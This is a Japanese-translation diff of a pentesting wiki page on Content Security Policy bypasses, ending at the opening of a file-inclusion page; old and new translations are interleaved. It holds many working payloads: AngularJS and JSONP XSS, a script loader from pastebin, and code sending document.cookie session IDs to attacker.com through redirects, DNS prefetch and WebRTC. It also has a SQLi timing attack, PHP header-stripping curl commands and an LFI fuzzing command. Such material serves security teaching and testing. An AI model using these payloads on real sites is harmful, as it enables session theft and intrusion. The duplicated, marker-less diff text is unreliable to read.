?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
このスニペットは、`ng-focus`ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを利用して`alert()`関数を実行し、`document.cookie`を表示する方法を強調しています。
このスニペットは、イベントをトリガーするための `ng-focus` ディレクティブの使用、`$event.path|orderBy` を用いて `path` 配列を操作する方法、および `window` オブジェクトを利用して `alert()` を実行し、その結果 `document.cookie` を表示する点を強調しています。
**他のAngularバイパスを見つけるには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**他の Angular bypasses は** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJSとホワイトリスト化されたドメイン
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます
Angular JS アプリケーションでスクリプト読み込み用にドメインをホワイトリスト化した CSP ポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを利用して回避できます。詳細はこの手法の詳細なガイドをこの [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) で参照してください
動作するペイロード:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(いくつかは削除または修正されました
他の JSONP 任意実行エンドポイントは [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) で確認できます(その一部は削除または修正されています
### リダイレクションによるバイパス
CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうか?リダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。
CSP がサーバー側のリダイレクションに遭遇した場合はどうなるでしょうか?リダイレクションが許可されていない別の origin に向かう場合は、やはり失敗します。
しかし、[CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
しかし、[CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) の記述によれば、リダイレクションが別のパスに向かう場合、元の制限をバイパスできることがあります。
以下はその例です:
以下は例です:
```html
<!DOCTYPE html>
<html>
@ -425,68 +425,68 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
CSPが `https://www.google.com/a/b/c/d` に設定されている場合、パスが考慮されるため、`/test``/a/test` の両方のスクリプトはCSPによってブロックされます。
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
しかし、最終的な `http://localhost:5555/301`**サーバー側で `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込める**ため、パス制限がバイパスされます。
このリダイレクトにより、パスが完全に指定されていても、依然として回避されます。
このリダイレクションによって、たとえパスが完全に指定されていても、それは依然としてバイパスされます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
したがって、最善の対策は、サイトにオープンリダイレクトの脆弱性がないこと、及びCSPルールに悪用可能なドメインが含まれていないことを確認することです。
### ダングリングマークアップを使用したCSPのバイパス
### Bypass CSP with dangling markup
[こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`コード内の任意のスクリプトを実行できることを意味しますXSSはコードを実行できます)し、`img-src *`は、ウェブページで任意のリソースからの画像を使用できることを意味します。
`'unsafe-inline'` はコード内の任意のスクリプトを実行できることを意味しますXSS はコードを実行できます)。`img-src *`ウェブページで任意のリソースからの画像を使用できることを意味します。
このCSPは、画像を介してデータを抽出することでバイパスできますこの場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
画像経由でデータを持ち出すことでこの CSP をバイパスできますこの例では、XSS が CSRF を悪用し、bot がアクセスできるページに SQLi があり、画像を通じて flag を抽出します):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
出典: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます通常のXSSのように。これにより、**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
この設定を悪用して、**画像に埋め込まれた javascript コードをロードする**こともできます。たとえば、ページが Twitter からの画像読み込みを許可している場合、**特殊な画像**を**作成**して Twitter に**upload**し、"**unsafe-inline**" を悪用して(通常の XSS としてJS コードを**実行**させ、そのコードが**画像を load**して画像から**JS**を**抽出**し、**実行**する、という手口です: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### サービスワーカーを使用して
### Service Workers を利用した場合
サービスワーカーの**`importScripts`**関数はCSPに制限されません
Service workers **`importScripts`** 関数は CSP によって制限されません:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### ポリシーインジェクション
### Policy Injection
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシーを無効にする**方法で**ポリシーを変更**することができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
もしあなたが送信した**parameter**が**policy**の**declaration**に**pasted inside**される場合、**policy**を**alter**して**it useless**にすることができます。これらのバイパスのいずれかで**allow script 'unsafe-inline'**を許可できます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
このディレクティブは**既存のscript-srcディレクティブを上書きします**。\
ここに例があります: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
なぜならこのディレクティブは **既存の script-src directives を上書きします**。\
例はここで確認できます: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edgeでははるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を破棄します**。\
: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Edgeではもっと簡単です。CSPにこれだけ **`;_`** を追加できれば、**Edge** は **ポリシー** 全体を **破棄** します。\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - タイムアタック
### img-src \*; via XSS (iframe) - Time attack
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませることができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
Notice the lack of the directive `'unsafe-inline'`\
今回は `<iframe` を使った **XSS** により、被害者に **あなたが管理する** ページを **読み込ませる** ことができます。今回は、被害者に情報を抽出したいページへアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、もし何らかの方法でページの読み込みに要する時間を **制御できる** なら、必要な情報を抽出できます。
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります:
今回は **flag** が抽出されます。**SQLi** によって **char が正しく推測される** と、sleep function のために **response****より長い時間** かかります。すると、flag を抽出することができます:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +546,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Bookmarklets を介して
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**
この攻撃は、攻撃者が **ユーザを説得してブラウザの bookmarklet 上にリンクを drag\&dropped させる** ような social engineering を含みます。 この bookmarklet は **悪意のある javascript** コードを含み、drag\&dropped またはクリックされたときに現在のウェブウィンドウのコンテキストで実行され、**CSP をバイパスして cookies や tokens のような機密情報を窃取できる** ようにします
詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**や**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **別のスクリプトを悪用して任意のスクリプトを読み込ませる**
**`csp`**属性を使用して、**IframeのCSPを制限する**ことができます:
You can **iframe の CSP を制限する** with the **`csp`** attribute:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48)では、**HTMLインジェクション**を通じて**CSP**をより制限することが可能であり、その結果、CSTIを防ぐスクリプトが無効化され、**脆弱性が悪用可能になりました。**\
CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトを無効にすることで**エントリ**を**削除**し、**nonce**を許可し、特定のインラインスクリプトをshaで有効にすることができます。
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) では **HTML injection** によって **CSP** をさらに **restrict** でき、CSTI を防ぐスクリプトが無効化されたため、結果として **vulnerability became exploitable.**\
CSP**HTML meta tags** を使ってさらに制限的にでき、inline scripts はそれらの **nonce** を許可する **entry****removing** して無効化でき、また **enable specific inline script via sha** により特定のインラインスクリプトを有効化できる:
```html
<meta
http-equiv="Content-Security-Policy"
@ -574,49 +574,67 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**おそらくCRLFのためで応答するように管理できれば、あなたのサーバーを指すように設定でき、**JSコンテンツ**を**`<script>`**でラップすることで、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
サーバーがヘッダ **`Content-Security-Policy-Report-Only`** をCRLFなどであなたが制御する**値**で返すようにできれば、レポート先をあなたのサーバーに向けることができます。さらに、漏洩させたい**JS content**を**`<script>`**でラップすると、`unsafe-inline`がCSPで許可されている可能性は低いため、**CSPエラーを引き起こし**、スクリプトの一部(機密情報を含む)が `Content-Security-Policy-Report-Only` からサーバーへ送信されます。
については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)
として[**このCTFの解説を参照**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSPとIframeを使用した情報漏洩
### Leaking Information with CSP and Iframe
- `iframe`がCSPによって許可されたURLこれを`https://example.redirect.com`と呼びます)を指すように作成されます。
- このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティはブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
- `iframe` が作成され、CSP によって許可されている URLここでは `https://example.redirect.com` と呼ぶ)を指します。
- この URL は秘密の URL例: `https://usersecret.example2.com`)にリダイレクトし、これは CSP によって **許可されていない**
- `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティを取得できます。 このプロパティはブロックされた URI のドメインを明らかにし、初期の URL がリダイレクトした秘密のドメインを leaking します。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。
興味深いことに、Chrome や Firefox のようなブラウザは CSP に関して `iframe` の扱いが異なり、未定義の挙動により機密情報が露出する可能性があります。
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです
別の手法は、CSP 自体を悪用して秘密のサブドメインを推測することです。この方法は二分探索アルゴリズムに依存しており、意図的にブロックする特定のドメインを含めるように CSP を調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSP ディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下はこの手法を容易にするために CSP を設定する際のスニペットです:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます
CSPによってブロックされるまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを特定できる
方の方法は、CSPの実装とブラウザでの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させる可能性があるかを示しています
手法とも、ブラウザにおけるCSPの実装や振る舞いの細かな差を突くもので、一見安全に見えるポリシーが意図せずに機密情報をleakしてしまうことを示している
[**こちら**](https://ctftime.org/writeup/29310)からのトリック。
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSPをバイパスするための危険な技術
## CSPをバイパスする危険な技術
### パラメータが多すぎるときのPHPエラー
### PHPエラーパラメータが多すぎる場合
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能、PHPウェブコードで定義された**`header()`**は、これによってトリガーされるエラーのために**送信されません**。
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
### PHPレスポンスバッファのオーバーロード
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
この技術は基本的に**警告でレスポンスバッファを埋める**ことから成り立っていますので、CSPヘッダーは送信されません
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られている。したがって、PHPが警告を出している場合、警告内に十分なデータを含めることで、レスポンスがCSPヘッダより先に送信され、ヘッダが無視される。\
つまり、この手法はレスポンスバッファを警告で埋めてCSPヘッダが送信されないようにする、というものだ
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### max_input_varsによるCSPの無効化headers already sent
ヘッダは出力より先に送信されなければならないため、PHPが出す警告が後続のheader()呼び出しを無効化することがある。ユーザー入力がmax_input_varsを超えると、PHPは最初に起動時の警告を投げるその後に行われるheader('Content-Security-Policy: ...')は“headers already sent”で失敗し、結果的にCSPが無効化され、本来ブロックされるはずのreflective XSSが許可されてしまう。
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
例:
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### エラーページの書き換え
[**この書き込み**](https://blog.ssrf.kr/69)によると、エラーページCSPがない可能性があるを読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
[**this writeup**](https://blog.ssrf.kr/69) によると、エラーページ(場合によっては CSP が適用されていない)を読み込み、その内容を書き換えることで CSP 保護を回避できたようです。
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOMEは、ページの**エンドポイント**でXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法により、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
SOMEは、XSSまたは高度に制限されたXSSをページの**endpoint**で悪用し、同一オリジンの**他のendpoint**を**悪用**するテクニックです。これは、攻撃者ページから脆弱な**endpoint**を読み込み、その攻撃者ページを悪用したい同一オリジン内の実際の**endpoint**へリフレッシュすることで実行されます。こうすることで、**vulnerable endpoint**は**payload**内の**`opener`**オブジェクトを使って、**real endpoint to abuse**の**DOM**に**アクセス**できます。詳細は以下を参照してください:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**endpointがあり、送信された**data**を出力に**reflect**します(英数字とドットのみという制限付き)。
攻撃者はそのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため**、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
攻撃者はそのendpointを悪用してWordPressに対する**SOME attack**を**generate**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`の中に**embed**することができます。なお、この**script**は**'self'によってallowed**されているため**loaded**されます。さらに、WordPressがインストールされているため、攻撃者は**vulnerable**な**callback**endpointを介して**SOME attack**を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...\
詳細な実行手順については [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) を参照してください。
## CSP Exfiltration Bypasses
厳格なCSPがあり、**外部サーバーとやり取りすることを許可しない**場合、情報を抽出するために常にできることがいくつかあります。
厳格なCSPが**外部サーバーとやり取りする**ことを許可していない場合でも、情報をエクスフィルトレーションするために常に可能ないくつかの手段があります。
### Location
攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます:
単純にlocationを更新して、秘密情報を攻撃者のサーバーへ送信することができます:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
メタタグを注入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)
meta tagを注入してリダイレクトできますこれは単なるリダイレクトで、コンテンツを leak しません)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、それを後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
ページの読み込みを高速化するため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決するよう指示するには: `<link rel="dns-prefetch" href="something.com">`
この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます:
この挙動を悪用して、**exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -668,25 +686,25 @@ body.innerHTML +
sessionid +
'attacker.ch">'
```
別の方法
別の方法:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
の問題を避けるために、サーバーはHTTPヘッダーを送信できます:
れが発生するのを回避するために、サーバーは次のHTTPヘッダーを送信できます:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> この技術はヘッドレスブラウザ(ボット)では機能しないようです。
> どうやら、この手法は headless browsers (bots) では動作しないようです
### WebRTC
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
いくつかのページには、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください
実際には、_DNS request_ を使って情報を _leak_ できます。以下のコードを確認してください:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -694,7 +712,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
別のオプション
別の選択肢
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
認証ポップアップは、ページによって制限されることなくiconURLにDNSリクエストを送信します。これは、安全なコンテキストHTTPSまたはlocalhostでのみ機能します。
credential popup はページによる制限を受けずに iconURL に対して DNS リクエストを送信します。これは secure context (HTTPS) または localhost 上でのみ動作します。
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,16 +737,16 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## CSPポリシーのオンラインチェック
## CSPポリシーをオンラインで確認
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSPの自動生成
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## 参考文献
## 参考資料
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -738,7 +756,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** ファイルはリモートサーバから読み込まれます(利点: あなたがコードを書き、サーバがそれを実行します。phpではこれはデフォルトで**無効**です(**allow_url_include**)。\
**Local File Inclusion (LFI):** サーバはローカルファイルを読み込みます。
**Remote File Inclusion (RFI):** リモートサーバーからファイルが読み込まれます(強力: 自分でコードを書き、サーバー上で実行させることができます。phpではこれはデフォルトで**無効**になっています(**allow_url_include**)。\
**Local File Inclusion (LFI):** サーバーがローカルのファイルを読み込みます。
この脆弱性は、ユーザが何らかの形でサーバによって読み込まれるファイルを制御できる場合に発生します。
この脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの形で制御できる場合に発生します。
影響を受ける **PHP関数**: require, require_once, include, include_once
脆弱になりやすい **PHP 関数**: require, require_once, include, include_once
この脆弱性を悪用する興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
この脆弱性を悪用する便利なツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:**
**いくつかの *nix LFI リストを組み合わせ、さらにパスを追加して作成したものです**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
また `/``\` に変更して試してください\
また `../../../../../` を追加してみてください
また`/``\` に変更してみてください\.
また`../../../../../` を追加してみてください
脆弱性が存在するかを確認するために /etc/password ファイルを見つけるための複数の手法を使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
